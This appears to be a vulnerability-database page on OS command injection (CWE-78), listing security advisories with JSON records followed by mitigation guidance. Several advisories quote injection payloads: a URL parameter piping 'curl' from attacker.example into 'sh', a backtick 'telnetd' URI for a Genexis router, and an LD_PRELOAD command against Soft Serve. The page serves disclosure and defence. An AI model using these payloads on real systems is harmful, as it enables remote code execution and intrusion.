CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8341 vulnerabilities reference this CWE, most recent first.
GHSA-M35G-P77J-HQRH
Vulnerability from github – Published: 2026-02-08 00:30 – Updated: 2026-03-05 21:30Tenda G300-F router firmware versio 16.01.14.2 and prior contain an OS command injection vulnerability in the WAN diagnostic functionality (formSetWanDiag). The implementation constructs a shell command that invokes curl and incorporates attacker-controlled input into the command line without adequate neutralization. As a result, a remote attacker with access to the affected management interface can inject additional shell syntax and execute arbitrary commands on the device with the privileges of the management process.
{
"affected": [],
"aliases": [
"CVE-2026-25857"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-07T22:16:02Z",
"severity": "HIGH"
},
"details": "Tenda G300-F router firmware versio 16.01.14.2 and prior contain an OS command injection vulnerability in the WAN diagnostic functionality (formSetWanDiag). The implementation constructs a shell command that invokes curl and incorporates attacker-controlled input into the command line without adequate neutralization. As a result, a remote attacker with access to the affected management interface can inject additional shell syntax and execute arbitrary commands on the device with the privileges of the management process.",
"id": "GHSA-m35g-p77j-hqrh",
"modified": "2026-03-05T21:30:26Z",
"published": "2026-02-08T00:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25857"
},
{
"type": "WEB",
"url": "https://blog.evan.lat/blog/cve-2026-25857"
},
{
"type": "WEB",
"url": "https://www.tendacn.com/material/show/736333682028613"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tenda-g300-f-command-injection-via-formsetwandiag"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M37G-HC3H-JPG8
Vulnerability from github – Published: 2022-03-05 00:00 – Updated: 2022-03-17 00:03There is remote authenticated OS command injection on TP-Link Archer C20i 0.9.1 3.2 v003a.0 Build 170221 Rel.55462n devices vie the X_TP_ExternalIPv6Address HTTP parameter, allowing a remote attacker to run arbitrary commands on the router with root privileges.
{
"affected": [],
"aliases": [
"CVE-2021-44827"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-04T22:15:00Z",
"severity": "HIGH"
},
"details": "There is remote authenticated OS command injection on TP-Link Archer C20i 0.9.1 3.2 v003a.0 Build 170221 Rel.55462n devices vie the X_TP_ExternalIPv6Address HTTP parameter, allowing a remote attacker to run arbitrary commands on the router with root privileges.",
"id": "GHSA-m37g-hc3h-jpg8",
"modified": "2022-03-17T00:03:17Z",
"published": "2022-03-05T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44827"
},
{
"type": "WEB",
"url": "https://Full-Disclosure.eu"
},
{
"type": "WEB",
"url": "https://full-disclosure.eu/reports/2022/CVE-2021-44827-tplink-authenticated-remote-code-execution.html"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M38F-J7HR-9HGM
Vulnerability from github – Published: 2023-09-06 12:30 – Updated: 2024-04-04 07:31Archer C5 firmware all versions and Archer C7 firmware versions prior to 'Archer C7(JP)_V2_230602' allow a network-adjacent authenticated attacker to execute arbitrary OS commands. Note that Archer C5 is no longer supported, therefore the update for this product is not provided.
{
"affected": [],
"aliases": [
"CVE-2023-39224"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-06T10:15:14Z",
"severity": "HIGH"
},
"details": "Archer C5 firmware all versions and Archer C7 firmware versions prior to \u0027Archer C7(JP)_V2_230602\u0027 allow a network-adjacent authenticated attacker to execute arbitrary OS commands. Note that Archer C5 is no longer supported, therefore the update for this product is not provided.",
"id": "GHSA-m38f-j7hr-9hgm",
"modified": "2024-04-04T07:31:45Z",
"published": "2023-09-06T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39224"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU99392903"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/jp/support/download/archer-c7/v2/#Firmware"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M3CR-VC2J-PM27
Vulnerability from github – Published: 2026-07-02 18:14 – Updated: 2026-07-07 22:17Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
Impact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
- Patched releases:
- v2.29.7 (ESR)
- v2.30.2 (mainline)
Recognition
We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.29.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.30.0"
},
{
"fixed": "2.30.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.27.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44454"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T18:14:44Z",
"nvd_published_at": "2026-07-07T21:17:25Z",
"severity": "HIGH"
},
"details": "# Command injection via dotfiles URI parameter combined with workspace auto-creation\n\n## Summary\n\nThe `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page\u0027s `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.\n\n## Details\n\n### Command injection in the dotfiles module (root cause)\n\nThe [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `\u0026\u0026`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`.\n\n### Auto-creation amplification (`mode=auto`)\n\nThe Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim\u0027s Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.\n\nExample URL:\n\n```\nhttps://\u003cdeployment\u003e/templates/\u003ctemplate\u003e/workspace?mode=auto\u0026param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com\n```\n\n## Impact\n\nArbitrary code execution inside the victim\u0027s workspace. Depending on the workspace\u0027s privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.\n\n## Patches\n\n### coder/registry (primary fix)\n\nInput validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source.\n\n- https://github.com/coder/registry/pull/703\n\n### coder/coder (defense-in-depth)\n\nA consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector.\n\n- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))\n- Patched releases:\n - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)\n - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)\n\n### Recognition\nWe\u0027d like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy",
"id": "GHSA-m3cr-vc2j-pm27",
"modified": "2026-07-07T22:17:26Z",
"published": "2026-07-02T18:14:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44454"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/pull/22011"
},
{
"type": "WEB",
"url": "https://github.com/coder/registry/pull/703"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb"
},
{
"type": "WEB",
"url": "https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/coder"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/releases/tag/v2.29.7"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/releases/tag/v2.30.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent"
}
GHSA-M3F9-9CW6-5CCJ
Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2023-01-24 03:30Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
{
"affected": [],
"aliases": [
"CVE-2020-17505"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-12T17:15:00Z",
"severity": "HIGH"
},
"details": "Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.",
"id": "GHSA-m3f9-9cw6-5ccj",
"modified": "2023-01-24T03:30:17Z",
"published": "2022-05-24T17:25:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17505"
},
{
"type": "WEB",
"url": "https://blog.max0x4141.com/post/artica_proxy"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/159267/Artica-Proxy-4.30.000000-Authentication-Bypass-Command-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M3H9-X8GR-VFVR
Vulnerability from github – Published: 2025-04-09 09:31 – Updated: 2025-04-09 09:31OS command injection vulnerability in the WEB UI (the setting page) exists in Wi-Fi AP UNIT 'AC-WPS-11ac series'. If exploited, an arbitrary OS command may be executed by a remote attacker who can log in to the product.
{
"affected": [],
"aliases": [
"CVE-2025-25053"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-09T09:15:16Z",
"severity": "HIGH"
},
"details": "OS command injection vulnerability in the WEB UI (the setting page) exists in Wi-Fi AP UNIT \u0027AC-WPS-11ac series\u0027. If exploited, an arbitrary OS command may be executed by a remote attacker who can log in to the product.",
"id": "GHSA-m3h9-x8gr-vfvr",
"modified": "2025-04-09T09:31:25Z",
"published": "2025-04-09T09:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25053"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU93925742"
},
{
"type": "WEB",
"url": "https://www.inaba.co.jp/abaniact/news/security_20250404.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M3Q8-9565-H52H
Vulnerability from github – Published: 2026-03-24 18:31 – Updated: 2026-03-24 18:31Vulnerable endpoints accept user-controlled input through a URL in JSON format which enables command execution. The commands allowed to execute can open executables. However, the commands cannot pass parameters or arguments. To successfully execute this attack, the attacker needs to be on the same network.
{
"affected": [],
"aliases": [
"CVE-2025-11571"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-24T17:16:25Z",
"severity": "LOW"
},
"details": "Vulnerable endpoints accept user-controlled input through a URL in JSON format which enables command execution. The commands allowed to execute can open executables. However, the commands cannot pass parameters or arguments.\u00a0\nTo successfully execute this attack, the attacker needs to be on the same network.",
"id": "GHSA-m3q8-9565-h52h",
"modified": "2026-03-24T18:31:37Z",
"published": "2026-03-24T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11571"
},
{
"type": "WEB",
"url": "https://community.silabs.com/068Vm00000htltZ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M3WQ-H7W9-MP4R
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-22 18:32An issue was discovered in bytebot-ai in commit 3d37894ce07ef8d8b40adc7fd309ad96c2a71313 (2025-09-11) allowing attackers to execute arbitrary code via crafted path to computer_write_file.
{
"affected": [],
"aliases": [
"CVE-2026-30631"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T21:16:49Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in bytebot-ai in commit 3d37894ce07ef8d8b40adc7fd309ad96c2a71313 (2025-09-11) allowing attackers to execute arbitrary code via crafted path to `computer_write_file`.",
"id": "GHSA-m3wq-h7w9-mp4r",
"modified": "2026-07-22T18:32:29Z",
"published": "2026-07-21T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30631"
},
{
"type": "WEB",
"url": "https://github.com/bytebot-ai/bytebot/commit/3d37894ce07ef8d8b40adc7fd309ad96c2a71313"
},
{
"type": "WEB",
"url": "https://gist.github.com/spdc-elm/1a56d53591a929446a54e50e64de9fc0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M43V-J8FP-7VJJ
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI.
{
"affected": [],
"aliases": [
"CVE-2021-29003"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T06:15:00Z",
"severity": "CRITICAL"
},
"details": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI.",
"id": "GHSA-m43v-j8fp-7vjj",
"modified": "2022-05-24T17:47:28Z",
"published": "2022-05-24T17:47:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29003"
},
{
"type": "WEB",
"url": "https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162174/Genexis-PLATINUM-4410-2.1-P4410-V2-1.28-Remote-Command-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M445-W3XR-VP2F
Vulnerability from github – Published: 2024-08-02 12:51 – Updated: 2024-08-07 19:26Impact
Any servers using soft-serve server and git
Patches
0.7.5
Workarounds
None.
References
n/a.
It is possible for a user who can commit files to a repository hosted by Soft Serve to execute arbitrary code via environment manipulation and Git.
The issue is that Soft Serve passes all environment variables given by the client to git subprocesses. This includes environment variables that control program execution, such as LD_PRELOAD.
This can be exploited to execute arbitrary code by, for example, uploading a malicious shared object file to Soft Serve via Git LFS (uploading it via LFS ensures that it is not compressed on disk and easier to work with). The file will be stored under its SHA256 hash, so it has a predictable name.
This file can then be referenced in LD_PRELOAD via a Soft Serve SSH session that causes git to be invoked. For example:
LD_PRELOAD=/.../data/lfs/1/objects/a2/b5/a2b585befededf5f95363d06d83655229e393b1b45f76d9f989a336668665a2f ssh server git-upload-pack repo
The example LFS file patches a shared library function called by git to execute a shell.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/charmbracelet/soft-serve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-41956"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-02T12:51:12Z",
"nvd_published_at": "2024-08-01T22:15:29Z",
"severity": "HIGH"
},
"details": "### Impact\nAny servers using soft-serve server and git\n\n### Patches\n\u003e0.7.5\n\n### Workarounds\nNone.\n\n### References\nn/a.\n\n---\n\nIt is possible for a user who can commit files to a repository hosted by Soft Serve to execute arbitrary code via environment manipulation and Git.\n\nThe issue is that Soft Serve passes all environment variables given by the client to git subprocesses. This includes environment variables that control program execution, such as `LD_PRELOAD`.\n\nThis can be exploited to execute arbitrary code by, for example, uploading a malicious shared object file to Soft Serve via Git LFS (uploading it via LFS ensures that it is not compressed on disk and easier to work with). The file will be stored under its SHA256 hash, so it has a predictable name.\n\nThis file can then be referenced in `LD_PRELOAD` via a Soft Serve SSH session that causes git to be invoked. For example:\n\n```bash\nLD_PRELOAD=/.../data/lfs/1/objects/a2/b5/a2b585befededf5f95363d06d83655229e393b1b45f76d9f989a336668665a2f ssh server git-upload-pack repo\n```\n\nThe example LFS file patches a shared library function called by git to execute a shell.",
"id": "GHSA-m445-w3xr-vp2f",
"modified": "2024-08-07T19:26:34Z",
"published": "2024-08-02T12:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-m445-w3xr-vp2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41956"
},
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/commit/4daebdd422a6ba8c04162d023f8be355a8fe3184"
},
{
"type": "PACKAGE",
"url": "https://github.com/charmbracelet/soft-serve"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "soft-serve vulnerable to arbitrary code execution by crafting git-lfs requests"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
